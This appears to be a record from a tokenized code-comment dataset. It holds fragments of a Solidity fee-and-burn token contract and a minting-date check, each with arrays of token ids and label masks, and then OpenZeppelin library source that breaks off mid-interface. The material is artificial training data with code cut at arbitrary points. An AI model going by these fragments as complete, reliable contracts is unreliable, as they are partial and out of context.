burn(burnAmount);
}
}
else if(shouldSwap(to)) {
swapTokens(swapTokensAtAmount);
}
_tokenTransfer(from, to, amount, takeFee);
}
function shouldBurn() private view returns (bool){
uint256 contractTokenBalance = balanceOf(address(this));
bool canBurn = contractTokenBalance >= burnAmount;
return tradingIsEnabled && canBurn &&
!inBurn && !antiBotActive;
}
function burn(uint256 _burnAmount) private inburn {
uint256 currentRate = _getRate();
uint256 rBurn = _burnAmount * currentRate;
_rOwned[address(this)] = _rOwned[address(this)] - rBurn;
_rOwned[deadAddress] = _rOwned[deadAddress] + rBurn;
_tOwned[deadAddress] = _tOwned[deadAddress] + _burnAmount;
emit Transfer(address(this), deadAddress, _burnAmount);
accumulatingForBurn = false;
}
function shouldSwap(address to) private view returns (bool){
uint256 contractTokenBalance = balanceOf(address(this));
bool canSwap = contractTokenBalance >= swapTokensAtAmount;
return tradingIsEnabled && canSwap && !swapping &&
automatedMarketMakerPairs[to] && !antiBotActive;
}
function swapTokens(uint256 tokens) inSwap private {
uint256 LPtokens = tokens * _liquidityFee / _totalLPFee;
uint256 halfLPTokens = LPtokens / 2;
uint256 marketingtokens = tokens - LPtokens;
uint256 initialBalance = address(this).balance;
swapTokensForEth(halfLPTokens + marketingtokens);
uint256 newBalance = address(this).balance - initialBalance;
// alpha = _liquidityFee.div(_totalLPFee).div(2);
// bnbForLP = newBalance.mul(alpha).div(1 - alpha);
uint256 bnbForLP = newBalance * _liquidityFee / _totalLPFee / 2
/ ( 1e3 - 1e3 * _liquidityFee / _totalLPFee / 2 ) * 1e3;
uint256 bnbForMarketing = newBalance - bnbForLP;
(bool temp,) = payable(marketingAddress).call{value: bnbForMarketing, gas: 30000}(""); temp; //warning-suppresion
addLiquidity(halfLPTokens, bnbForLP);
emit SwapAndLiquify(halfLPTokens, bnbForLP); //69e18
}
function swapTokensForEth(uint256 tokenAmount) private {
// generate the uniswap pair path of token -> weth
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
// make the swap
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0, // accept any amount of ETH
path,
address(this),
block.timestamp
);
}
function addLiquidity(uint256 tokenAmount, uint256 ethAmount) private {
// approve token transfer to cover all possible scenarios
_approve(address(this), address(uniswapV2Router), tokenAmount);
// add the liquidity
uniswapV2Router.addLiquidityETH{value: ethAmount}(
address(this),
tokenAmount,
0, // slippage is unavoidable
0, // slippage is unavoidable
deadAddress,
block.timestamp
);
}
function planBurn(uint256 _burnNumerator, uint256 _burnDenominator) public onlyAuthorized {
burnAmount = _tTotal * _burnNumerator / _burnDenominator;
accumulatingForBurn = true;
}
function buybackStuckBNB(uint256 percent) public onlyAuthorized {
uint256 amountToBuyBack = address(this).balance * percent / 100;
// generate the uniswap pair path of token -> weth
address[] memory path = new address[](2);
path[0] = uniswapV2Router.WETH();
path[1] = address(this);
uniswapV2Router.swapExactETHForTokensSupportingFeeOnTransferTokens{value: amountToBuyBack}(
0, // accept any amount of Tokens
path,
deadAddress,
block.timestamp
);
}
function _tokenTransfer(address sender, address recipient, uint256 amount,bool takeFee) private {
if(!takeFee)
removeAllFee();
if (_isExcluded[sender] && !_isExcluded[recipient]) {
_transferFromExcluded(sender, recipient, amount);
} else if (!_isExcluded[sender] && _isExcluded[recipient]) {
_transferToExcluded(sender, recipient, amount);
} else if (!_isExcluded[sender] && !_isExcluded[recipient]) {
_transferStandard(sender, recipient, amount);
} else if (_isExcluded[sender] && _isExcluded[recipient]) {
_transferBothExcluded(sender, recipient, amount);
} else {
_transferStandard(sender, recipient, amount);
}
if(!takeFee)
restoreAllFee();
}
function _transferStandard(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tLiquidity) = _getValues(tAmount, sender);
_rOwned[sender] = _rOwned[sender] - rAmount;
_rOwned[recipient] = _rOwned[recipient] + rTransferAmount;
_takeLiquidity(tLiquidity);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _transferToExcluded(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tLiquidity) = _getValues(tAmount, sender);
_rOwned[sender] = _rOwned[sender] - rAmount;
_tOwned[recipient] = _tOwned[recipient] + tTransferAmount;
_rOwned[recipient] = _rOwned[recipient] + rTransferAmount;
_takeLiquidity(tLiquidity);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _transferFromExcluded(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tLiquidity) = _getValues(tAmount, sender);
_tOwned[sender] = _tOwned[sender] - tAmount;
_rOwned[sender] = _rOwned[sender] - rAmount;
_rOwned[recipient] = _rOwned[recipient] + rTransferAmount;
_takeLiquidity(tLiquidity);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function airdrop(address sender, address[] calldata recipients, uint256[] calldata values) external onlyOwner {
require(recipients.length == values.length, "Mismatch between Address and token count");
for (uint256 i = 0; i < recipients.length; i++) {
_transfer(sender, recipients[i], values[i] * DECIMALS);
}
}
receive() external payable {}
}
|
69e21 tokens, total supply
|
uint256 private _tTotal = 69000000000000000000000 * DECIMALS;
| 12,553,298 |
[
1,
8148,
73,
5340,
2430,
16,
2078,
14467,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] |
[
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] |
[
1,
565,
2254,
5034,
3238,
389,
88,
5269,
273,
20963,
12648,
12648,
11706,
380,
25429,
55,
31,
565,
2,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100
] |
./full_match/1/0x41De0a913e8A10E0415B70810FEbCaF8a86Ea9BE/sources/contracts/Bueno1155Drop.sol
|
mint end must be after mint start mint end must be in the future
|
function _verifyMintingTime(uint32 mintStart, uint32 mintEnd) private view {
if (mintEnd > 0) {
if (mintEnd < mintStart) {
revert InvalidMintDates();
}
if (mintEnd < block.timestamp) {
revert InvalidMintDates();
}
}
}
| 3,109,811 |
[
1,
81,
474,
679,
1297,
506,
1839,
312,
474,
787,
312,
474,
679,
1297,
506,
316,
326,
3563,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] |
[
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] |
[
1,
565,
445,
389,
8705,
49,
474,
310,
950,
12,
11890,
1578,
312,
474,
1685,
16,
2254,
1578,
312,
474,
1638,
13,
3238,
1476,
288,
203,
3639,
309,
261,
81,
474,
1638,
405,
374,
13,
288,
203,
5411,
309,
261,
81,
474,
1638,
411,
312,
474,
1685,
13,
288,
203,
7734,
15226,
1962,
49,
474,
15578,
5621,
203,
5411,
289,
203,
203,
5411,
309,
261,
81,
474,
1638,
411,
1203,
18,
5508,
13,
288,
203,
7734,
15226,
1962,
49,
474,
15578,
5621,
203,
5411,
289,
203,
3639,
289,
203,
565,
289,
203,
203,
2,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100
] |
// File: @openzeppelin/contracts/utils/math/SafeMath.sol
// OpenZeppelin Contracts v4.4.1 (utils/math/SafeMath.sol)
pragma solidity ^0.8.0;
// CAUTION
// This version of SafeMath should only be used with Solidity 0.8 or later,
// because it relies on the compiler's built in overflow checks.
/**
* @dev Wrappers over Solidity's arithmetic operations.
*
* NOTE: `SafeMath` is generally not needed starting with Solidity 0.8, since the compiler
* now has built in overflow checking.
*/
library SafeMath {
/**
* @dev Returns the addition of two unsigned integers, with an overflow flag.
*
* _Available since v3.4._
*/
function tryAdd(uint256 a, uint256 b) internal pure returns (bool, uint256) {
unchecked {
uint256 c = a + b;
if (c < a) return (false, 0);
return (true, c);
}
}
/**
* @dev Returns the substraction of two unsigned integers, with an overflow flag.
*
* _Available since v3.4._
*/
function trySub(uint256 a, uint256 b) internal pure returns (bool, uint256) {
unchecked {
if (b > a) return (false, 0);
return (true, a - b);
}
}
/**
* @dev Returns the multiplication of two unsigned integers, with an overflow flag.
*
* _Available since v3.4._
*/
function tryMul(uint256 a, uint256 b) internal pure returns (bool, uint256) {
unchecked {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) return (true, 0);
uint256 c = a * b;
if (c / a != b) return (false, 0);
return (true, c);
}
}
/**
* @dev Returns the division of two unsigned integers, with a division by zero flag.
*
* _Available since v3.4._
*/
function tryDiv(uint256 a, uint256 b) internal pure returns (bool, uint256) {
unchecked {
if (b == 0) return (false, 0);
return (true, a / b);
}
}
/**
* @dev Returns the remainder of dividing two unsigned integers, with a division by zero flag.
*
* _Available since v3.4._
*/
function tryMod(uint256 a, uint256 b) internal pure returns (bool, uint256) {
unchecked {
if (b == 0) return (false, 0);
return (true, a % b);
}
}
/**
* @dev Returns the addition of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `+` operator.
*
* Requirements:
*
* - Addition cannot overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
return a + b;
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return a - b;
}
/**
* @dev Returns the multiplication of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `*` operator.
*
* Requirements:
*
* - Multiplication cannot overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
return a * b;
}
/**
* @dev Returns the integer division of two unsigned integers, reverting on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator.
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return a / b;
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* reverting when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return a % b;
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting with custom message on
* overflow (when the result is negative).
*
* CAUTION: This function is deprecated because it requires allocating memory for the error
* message unnecessarily. For custom revert reasons use {trySub}.
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
unchecked {
require(b <= a, errorMessage);
return a - b;
}
}
/**
* @dev Returns the integer division of two unsigned integers, reverting with custom message on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
unchecked {
require(b > 0, errorMessage);
return a / b;
}
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* reverting with custom message when dividing by zero.
*
* CAUTION: This function is deprecated because it requires allocating memory for the error
* message unnecessarily. For custom revert reasons use {tryMod}.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
unchecked {
require(b > 0, errorMessage);
return a % b;
}
}
}
// File: @openzeppelin/contracts/utils/Strings.sol
// OpenZeppelin Contracts v4.4.1 (utils/Strings.sol)
pragma solidity ^0.8.0;
/**
* @dev String operations.
*/
library Strings {
bytes16 private constant _HEX_SYMBOLS = "0123456789abcdef";
/**
* @dev Converts a `uint256` to its ASCII `string` decimal representation.
*/
function toString(uint256 value) internal pure returns (string memory) {
// Inspired by OraclizeAPI's implementation - MIT licence
// https://github.com/oraclize/ethereum-api/blob/b42146b063c7d6ee1358846c198246239e9360e8/oraclizeAPI_0.4.25.sol
if (value == 0) {
return "0";
}
uint256 temp = value;
uint256 digits;
while (temp != 0) {
digits++;
temp /= 10;
}
bytes memory buffer = new bytes(digits);
while (value != 0) {
digits -= 1;
buffer[digits] = bytes1(uint8(48 + uint256(value % 10)));
value /= 10;
}
return string(buffer);
}
/**
* @dev Converts a `uint256` to its ASCII `string` hexadecimal representation.
*/
function toHexString(uint256 value) internal pure returns (string memory) {
if (value == 0) {
return "0x00";
}
uint256 temp = value;
uint256 length = 0;
while (temp != 0) {
length++;
temp >>= 8;
}
return toHexString(value, length);
}
/**
* @dev Converts a `uint256` to its ASCII `string` hexadecimal representation with fixed length.
*/
function toHexString(uint256 value, uint256 length) internal pure returns (string memory) {
bytes memory buffer = new bytes(2 * length + 2);
buffer[0] = "0";
buffer[1] = "x";
for (uint256 i = 2 * length + 1; i > 1; --i) {
buffer[i] = _HEX_SYMBOLS[value & 0xf];
value >>= 4;
}
require(value == 0, "Strings: hex length insufficient");
return string(buffer);
}
}
// File: @openzeppelin/contracts/utils/Context.sol
// OpenZeppelin Contracts v4.4.1 (utils/Context.sol)
pragma solidity ^0.8.0;
/**
* @dev Provides information about the current execution context, including the
* sender of the transaction and its data. While these are generally available
* via msg.sender and msg.data, they should not be accessed in such a direct
* manner, since when dealing with meta-transactions the account sending and
* paying for execution may not be the actual sender (as far as an application
* is concerned).
*
* This contract is only required for intermediate, library-like contracts.
*/
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes calldata) {
return msg.data;
}
}
// File: @openzeppelin/contracts/access/Ownable.sol
// OpenZeppelin Contracts v4.4.1 (access/Ownable.sol)
pragma solidity ^0.8.0;
/**
* @dev Contract module which provides a basic access control mechanism, where
* there is an account (an owner) that can be granted exclusive access to
* specific functions.
*
* By default, the owner account will be the one that deploys the contract. This
* can later be changed with {transferOwnership}.
*
* This module is used through inheritance. It will make available the modifier
* `onlyOwner`, which can be applied to your functions to restrict their use to
* the owner.
*/
abstract contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev Initializes the contract setting the deployer as the initial owner.
*/
constructor() {
_transferOwnership(_msgSender());
}
/**
* @dev Returns the address of the current owner.
*/
function owner() public view virtual returns (address) {
return _owner;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(owner() == _msgSender(), "Ownable: caller is not the owner");
_;
}
/**
* @dev Leaves the contract without owner. It will not be possible to call
* `onlyOwner` functions anymore. Can only be called by the current owner.
*
* NOTE: Renouncing ownership will leave the contract without an owner,
* thereby removing any functionality that is only available to the owner.
*/
function renounceOwnership() public virtual onlyOwner {
_transferOwnership(address(0));
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Can only be called by the current owner.
*/
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
_transferOwnership(newOwner);
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Internal function without access restriction.
*/
function _transferOwnership(address newOwner) internal virtual {
address oldOwner = _owner;
_owner = newOwner;
emit OwnershipTransferred(oldOwner, newOwner);
}
}
// File: @openzeppelin/contracts/utils/Address.sol
// OpenZeppelin Contracts (last updated v4.5.0) (utils/Address.sol)
pragma solidity ^0.8.1;
/**
* @dev Collection of functions related to the address type
*/
library Address {
/**
* @dev Returns true if `account` is a contract.
*
* [IMPORTANT]
* ====
* It is unsafe to assume that an address for which this function returns
* false is an externally-owned account (EOA) and not a contract.
*
* Among others, `isContract` will return false for the following
* types of addresses:
*
* - an externally-owned account
* - a contract in construction
* - an address where a contract will be created
* - an address where a contract lived, but was destroyed
* ====
*
* [IMPORTANT]
* ====
* You shouldn't rely on `isContract` to protect against flash loan attacks!
*
* Preventing calls from contracts is highly discouraged. It breaks composability, breaks support for smart wallets
* like Gnosis Safe, and does not provide security since it can be circumvented by calling from a contract
* constructor.
* ====
*/
function isContract(address account) internal view returns (bool) {
// This method relies on extcodesize/address.code.length, which returns 0
// for contracts in construction, since the code is only stored at the end
// of the constructor execution.
return account.code.length > 0;
}
/**
* @dev Replacement for Solidity's `transfer`: sends `amount` wei to
* `recipient`, forwarding all available gas and reverting on errors.
*
* https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost
* of certain opcodes, possibly making contracts go over the 2300 gas limit
* imposed by `transfer`, making them unable to receive funds via
* `transfer`. {sendValue} removes this limitation.
*
* https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more].
*
* IMPORTANT: because control is transferred to `recipient`, care must be
* taken to not create reentrancy vulnerabilities. Consider using
* {ReentrancyGuard} or the
* https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern].
*/
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
(bool success, ) = recipient.call{value: amount}("");
require(success, "Address: unable to send value, recipient may have reverted");
}
/**
* @dev Performs a Solidity function call using a low level `call`. A
* plain `call` is an unsafe replacement for a function call: use this
* function instead.
*
* If `target` reverts with a revert reason, it is bubbled up by this
* function (like regular Solidity function calls).
*
* Returns the raw returned data. To convert to the expected return value,
* use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`].
*
* Requirements:
*
* - `target` must be a contract.
* - calling `target` with `data` must not revert.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with
* `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCall(
address target,
bytes memory data,
string memory errorMessage
) internal returns (bytes memory) {
return functionCallWithValue(target, data, 0, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but also transferring `value` wei to `target`.
*
* Requirements:
*
* - the calling contract must have an ETH balance of at least `value`.
* - the called Solidity function must be `payable`.
*
* _Available since v3.1._
*/
function functionCallWithValue(
address target,
bytes memory data,
uint256 value
) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
/**
* @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but
* with `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCallWithValue(
address target,
bytes memory data,
uint256 value,
string memory errorMessage
) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
require(isContract(target), "Address: call to non-contract");
(bool success, bytes memory returndata) = target.call{value: value}(data);
return verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but performing a static call.
*
* _Available since v3.3._
*/
function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) {
return functionStaticCall(target, data, "Address: low-level static call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],
* but performing a static call.
*
* _Available since v3.3._
*/
function functionStaticCall(
address target,
bytes memory data,
string memory errorMessage
) internal view returns (bytes memory) {
require(isContract(target), "Address: static call to non-contract");
(bool success, bytes memory returndata) = target.staticcall(data);
return verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but performing a delegate call.
*
* _Available since v3.4._
*/
function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) {
return functionDelegateCall(target, data, "Address: low-level delegate call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],
* but performing a delegate call.
*
* _Available since v3.4._
*/
function functionDelegateCall(
address target,
bytes memory data,
string memory errorMessage
) internal returns (bytes memory) {
require(isContract(target), "Address: delegate call to non-contract");
(bool success, bytes memory returndata) = target.delegatecall(data);
return verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Tool to verifies that a low level call was successful, and revert if it wasn't, either by bubbling the
* revert reason using the provided one.
*
* _Available since v4.3._
*/
function verifyCallResult(
bool success,
bytes memory returndata,
string memory errorMessage
) internal pure returns (bytes memory) {
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
// File: @openzeppelin/contracts/token/ERC721/IERC721Receiver.sol
// OpenZeppelin Contracts v4.4.1 (token/ERC721/IERC721Receiver.sol)
pragma solidity ^0.8.0;
/**
* @title ERC721 token receiver interface
* @dev Interface for any contract that wants to support safeTransfers
* from ERC721 asset contracts.
*/
interface IERC721Receiver {
/**
* @dev Whenever an {IERC721} `tokenId` token is transferred to this contract via {IERC721-safeTransferFrom}
* by `operator` from `from`, this function is called.
*
* It must return its Solidity selector to confirm the token transfer.
* If any other value is returned or the interface is not implemented by the recipient, the transfer will be reverted.
*
* The selector can be obtained in Solidity with `IERC721.onERC721Received.selector`.
*/
function onERC721Received(
address operator,
address from,
uint256 tokenId,
bytes calldata data
) external returns (bytes4);
}
// File: @openzeppelin/contracts/utils/introspection/IERC165.sol
// OpenZeppelin Contracts v4.4.1 (utils/introspection/IERC165.sol)
pragma solidity ^0.8.0;
/**
* @dev Interface of the ERC165 standard, as defined in the
* https://eips.ethereum.org/EIPS/eip-165[EIP].
*
* Implementers can declare support of contract interfaces, which can then be
* queried by others ({ERC165Checker}).
*
* For an implementation, see {ERC165}.
*/
interface IERC165 {
/**
* @dev Returns true if this contract implements the interface defined by
* `interfaceId`. See the corresponding
* https://eips.ethereum.org/EIPS/eip-165#how-interfaces-are-identified[EIP section]
* to learn more about how these ids are created.
*
* This function call must use less than 30 000 gas.
*/
function supportsInterface(bytes4 interfaceId) external view returns (bool);
}
// File: @openzeppelin/contracts/utils/introspection/ERC165.sol
// OpenZeppelin Contracts v4.4.1 (utils/introspection/ERC165.sol)
pragma solidity ^0.8.0;
/**
* @dev Implementation of the {IERC165} interface.
*
* Contracts that want to implement ERC165 should inherit from this contract and override {supportsInterface} to check
* for the additional interface id that will be supported. For example:
*
* ```solidity
* function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) {
* return interfaceId == type(MyInterface).interfaceId || super.supportsInterface(interfaceId);
* }
* ```
*
* Alternatively, {ERC165Storage} provides an easier to use but more expensive implementation.
*/
abstract contract ERC165 is IERC165 {
/**
* @dev See {IERC165-supportsInterface}.
*/
function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) {
return interfaceId == type(IERC165).interfaceId;
}
}
// File: @openzeppelin/contracts/token/ERC721/IERC721.sol
// OpenZeppelin Contracts v4.4.1 (token/ERC721/IERC721.sol)
pragma solidity ^0.8.0;
/**
* @dev Required interface of an ERC721 compliant contract.
*/
interface IERC721 is IERC165 {
/**
* @dev Emitted when `tokenId` token is transferred from `from` to `to`.
*/
